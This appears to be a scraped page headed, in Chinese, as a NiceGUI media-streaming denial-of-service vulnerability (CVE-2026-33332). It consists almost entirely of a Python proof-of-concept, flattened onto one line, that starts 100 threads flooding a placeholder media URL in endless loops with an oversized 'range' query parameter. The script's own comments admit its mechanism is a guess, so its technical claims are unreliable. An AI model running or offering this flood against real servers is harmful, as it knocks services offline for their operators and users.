CVE-2026-33332 NiceGUI媒体流拒绝服务漏洞

import requests import threading # CVE-2026-33332 PoC: NiceGUI DoS via Media File Streaming # This script sends concurrent requests with manipulated query parameters # to force the server to load entire files into memory. TARGET_URL = "http://target-nicegui-app:8000/media/large_video.mp4" def exploit(): while True: try: # Send request with a parameter that attempts to bypass chunked streaming # The specific parameter name implies range manipulation payload = {'range': '0-999999999'} requests.get(TARGET_URL, params=payload, timeout=5) except requests.RequestException: pass # Launch multiple threads to simulate concurrent attack threads = [] for i in range(100): t = threading.Thread(target=exploit) t.daemon = True t.start() threads.append(t) for t in threads: t.join()